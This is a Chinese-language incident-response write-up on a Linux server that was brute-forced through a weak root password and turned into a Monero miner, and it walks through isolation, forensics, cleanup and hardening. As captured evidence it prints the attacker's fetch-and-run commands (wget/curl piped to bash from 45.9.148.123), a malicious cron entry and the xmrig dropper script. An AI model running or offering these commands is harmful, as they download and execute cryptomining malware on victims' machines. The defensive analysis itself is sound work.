服务器被入侵排查实录
本文记录一次真实的服务器入侵事件排查和恢复过程,分享安全应急响应经验。
问题发现
# 监控告警:CPU异常飙高 $ top PID USER CPU% COMMAND 12345 www-data 99% ./xmrig --donate-level 1 -o pool.minexmr.com:4444 # 发现陌生进程在疯狂占用CPU # xmrig是门罗币挖矿程序!
紧急处置
第1步:隔离(防止扩散)
# 断开外网连接(保留内网用于排查) sudo iptables -P OUTPUT DROP sudo iptables -A OUTPUT -d 10.0.0.0/8 -j ACCEPT # 允许内网 sudo iptables -A OUTPUT -p tcp --dport 22 -j ACCEPT # 允许SSH # 或者关闭网卡 sudo ifconfig eth0 down
第2步:保存现场
# 保存进程信息 ps auxf > /tmp/ps.log netstat -tulpn > /tmp/netstat.log lsof -i > /tmp/lsof.log # 保存可疑文件 cp /proc/12345/exe /tmp/suspicious_binary # 内存转储(高级) # 使用LiME等工具导出内存
排查过程
第3步:分析入侵路径
# 查看登录记录 last -a # 发现异常IP登录: # root pts/0 45.9.148.123 Thu Apr 9 03:15 still logged in # 查看登录失败记录 grep "Failed password" /var/log/auth.log | tail -20 # 发现大量暴力破解尝试 # 查看命令历史 history # 发现可疑命令: # wget http://45.9.148.123/m.sh -O - | bash
第4步:查找后门
# 检查计划任务 crontab -l cat /etc/crontab ls -la /etc/cron.d/ ls -la /etc/cron.hourly/ # 发现: # */5 * * * * root curl -s http://45.9.148.123/cron.sh | bash # 检查启动项 ls -la /etc/init.d/ systemctl list-unit-files | grep enabled # 发现可疑服务 # 检查SSH后门 cat ~/.ssh/authorized_keys # 发现陌生公钥 # 检查系统文件 rpm -Va # 验证RPM包完整性 debsums -s # 验证Debian包完整性
第5步:分析恶意程序
# 查看挖矿程序 file /tmp/xmrig # ELF 64-bit LSB executable # 查看网络连接 ss -tulpn | grep 12345 # 发现连接到矿池:pool.minexmr.com:4444 # 查看启动脚本 cat /tmp/m.sh #!/bin/bash # 下载并运行挖矿程序 wget -q http://45.9.148.123/xmrig -O /tmp/xmrig chmod +x /tmp/xmrig nohup /tmp/xmrig -o pool.minexmr.com:4444 -u 钱包地址 &
入侵原因分析
# 1. 弱密码:root密码是123456 # 2. 允许root远程登录:PermitRootLogin yes # 3. 没有fail2ban防护 # 4. 防火墙未配置,SSH暴露在公网
清理和恢复
第6步:终止恶意进程
# 终止挖矿进程 kill -9 12345 # 删除恶意文件 rm -f /tmp/xmrig /tmp/m.sh # 清理计划任务 # 编辑crontab删除恶意条目
第7步:安全加固
# 1. 修改所有密码 passwd root passwd 所有用户 # 2. 禁用root登录,改用普通用户+sudo # /etc/ssh/sshd_config PermitRootLogin no PasswordAuthentication no # 改用密钥认证 AllowUsers normaluser # 重启SSH systemctl restart sshd # 3. 安装fail2ban apt install fail2ban # 配置自动封禁暴力破解IP # 4. 配置防火墙 ufw default deny incoming ufw allow from 10.0.0.0/8 to any port 22 ufw enable # 5. 删除陌生公钥 rm -f ~/.ssh/authorized_keys # 重新添加自己的公钥 # 6. 更新系统 apt update && apt upgrade # 7. 安装杀毒软件扫描 apt install clamav freshclam clamscan -r /
预防措施
# 1. 安全基线检查脚本
#!/bin/bash
# security_check.sh
echo "=== 安全检查 ==="
# 检查弱密码用户
awk -F: '$2 == "" {print $1}' /etc/shadow
# 检查SUID文件
find / -perm -4000 -type f 2>/dev/null
# 检查异常进程
ps aux | grep -E "(miner|xmr|pool)"
# 检查异常连接
netstat -tulpn | grep -v "127.0.0.1"
# 检查计划任务
find /etc/cron* -type f -mtime -1
经验总结
- 不要使用弱密码 – 这是最常见的入侵方式
- 禁用root远程登录 – 使用普通用户+sudo
- 使用密钥认证 – 禁用密码登录
- 部署fail2ban – 自动封禁暴力破解
- 定期安全扫描 – 早发现早处理
- 做好备份 – 最坏情况下可以重建
总结
安全事件响应遵循”隔离→保存现场→排查→清理→加固”的流程。预防永远比处理更重要,做好基础安全配置能避免90%的入侵。
